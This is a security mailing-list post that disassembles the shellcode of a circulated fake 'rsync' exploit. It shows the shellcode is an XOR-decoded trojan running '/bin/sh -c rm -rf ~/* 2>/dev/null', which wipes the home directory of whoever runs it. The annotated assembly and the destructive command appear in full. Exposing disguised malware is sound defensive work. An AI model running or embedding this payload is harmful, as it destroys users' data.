full-disclosure - new rsync :) exploit rsync-too-open

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From: BlueBoar at thievco.com (Blue Boar)
Subject: new rsync :) exploit rsync-too-open

dkey wrote:

> "nice mail"...but if somebody wants to use it, check the shellcode first...i 
> think it deletes all your files in your home dir. i'm not sure, maybe 
> somebody else can check it...

Yes.

seg000:00000000 ; Segment type: Pure code
seg000:00000000 seg000          segment byte public 'CODE' use32
seg000:00000000                 assume cs:seg000
seg000:00000000                 assume es:nothing, ss:nothing, 
ds:nothing, fs:nothing, gs:nothing
seg000:00000000                 jmp     short loc_12
seg000:00000002
seg000:00000002 ; ??????????????? S U B R O U T I N E 
???????????????????????????????????????
seg000:00000002
seg000:00000002
seg000:00000002 sub_2           proc near               ; CODE XREF: 
sub_2+10.p
seg000:00000002     pop     esi             ; ESI = addr of decode section
seg000:00000003     xor     ecx, ecx        ; ECX = 0
seg000:00000005     mov     cl, 75          ; loop 75 times
seg000:00000007     mov     al, 255         ; XOR value start
seg000:00000009
seg000:00000009 decode_loop:                            ; CODE XREF: 
sub_2+C.j
seg000:00000009                 xor     [esi], al       ; XOR current 
byte in decode section with AL
seg000:0000000B     dec     al              ; AL = AL - 1
seg000:0000000D     inc     esi             ; next byte
seg000:0000000E     loop    decode_loop
seg000:00000010     jmp     short decoded
seg000:00000012 ; 
---------------------------------------------------------------------------
seg000:00000012
seg000:00000012 loc_12:                     ; CODE XREF: seg000:00000000.j
seg000:00000012     call    sub_2           ; push addr of decode section
seg000:00000017
seg000:00000017 decoded:                    ; CODE XREF: sub_2+E.j
seg000:00000017     call    loc_41          ; push addr of "\bin\sh"
seg000:00000017 ; 
---------------------------------------------------------------------------
seg000:0000001C aBinSh          db '/bin/sh',0
seg000:00000024 aSh             db 'sh',0
seg000:00000027 aC              db '-c',0
seg000:0000002A aRmRf2DevNull   db 'rm -rf ~/* 2>/dev/null',0
seg000:00000041 ; 
---------------------------------------------------------------------------
seg000:00000041
seg000:00000041 loc_41:                     ; CODE XREF: sub_2+15.p
seg000:00000041     pop     ebp             ; EBP = addr of "\bin\sh"
seg000:00000042     xor     eax, eax        ; EAX = 0
seg000:00000042 sub_2           endp
seg000:00000042
seg000:00000044     push    eax             ; 0
seg000:00000045     lea     ebx, [ebp+0Eh]
seg000:00000048     push    ebx             ; "'rm -rf ~/* 2>/dev/null"
seg000:00000049     lea     ebx, [ebp+0Bh]
seg000:0000004C     push    ebx             ; "-c"
seg000:0000004D     lea     ebx, [ebp+8]
seg000:00000050     push    ebx             ; "sh"
seg000:00000051     mov     ebx, ebp        ; "/bin/sh"
seg000:00000053     mov     ecx, esp
seg000:00000055     xor     edx, edx        ; EDX = 0
seg000:00000057     mov     al, 0Bh
seg000:00000059     int     80h             ; LINUX - sys_execve
seg000:0000005B     mov     ebx, eax        ; EBX = result
seg000:0000005D     xor     eax, eax
seg000:0000005F     inc     eax             ; exit (1)
seg000:00000060     int     80h             ; LINUX - sys_exit
seg000:00000060 seg000          ends
seg000:00000060     end

AKA "/bin/sh -c rm -rf ~/* 2>/dev/null"

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